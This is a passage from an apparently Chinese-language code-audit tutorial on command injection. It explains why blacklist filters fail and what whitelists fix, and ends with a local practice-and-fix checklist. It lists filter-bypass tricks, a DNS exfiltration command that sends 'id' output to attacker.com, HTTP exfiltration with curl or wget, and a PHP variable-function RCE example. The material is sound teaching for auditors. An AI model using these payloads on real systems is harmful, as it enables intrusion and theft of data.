| 命令注入过滤分号就安全了吗? | 不安全。| && || 换行 $() 反引号均可截断。 | 空格可用 ${IFS}/< 绕过,关键字可大小写/拼接(c''at)/通配符(/???/??t)/编码绕过。黑名单的思路是”枚举所有坏人”,永远枚举不完;只有白名单”只放行好人”能把攻击面收敛。审计见到 str_replace 式过滤默认判可绕过。 |
| 命令执行没回显怎么验证/利用? | 用带外通道(OOB):DNS 外带最通用——ping $(id|base64).attacker.com,结果藏进 DNS 查询日志。 | HTTP 外带(curl/wget 到攻击者服务器)、时间盲注(sleep 延时逐位判断)、写文件到 Web 目录再访问也都是常用手段。DNS 最常用是因为目标通常禁 HTTP 出网但放行 DNS。审计验证用 DNSLog/CEYE 平台收请求即可,不要因为页面无输出就报”不存在漏洞”。 |
| PHP 可变函数是什么,为什么危险? | PHP 允许 $f($a) 用变量的值当函数名调用,变量可控就等于任意函数调用。 | 例:$f = $_GET['func']; $f($_GET['arg']);,传 func=system&arg=id 即 RCE。同理 call_user_func/array_map/usort 的回调参数可控也一样。审计别只搜 eval/system,$变量( 和回调类函数也要覆盖。 |
六、动手自查清单(学完照着做一遍)
找任意一个开源 PHP/Python Web 项目(或自己写个 demo),完成下面的动作,这篇才算真的学会:
- 全局搜索
system(、exec(、shell_exec((PHP)或os.system、subprocess、eval((Python),列出全部命中点。 - 对每个命中点画一行数据流:
参数从哪来(Source)→ 中间过了什么函数 → 到达 Sink。 - 判断三问:Source 可控吗?过滤是白名单吗?实参是数组形态还是拼接字符串?
- 对判定为漏洞的点,在本地环境构造 payload 打一次,亲眼看到
/etc/passwd或id的输出。 - 写修复代码,再验证 payload 失效——审计的终点是”能修”,不是”能打”。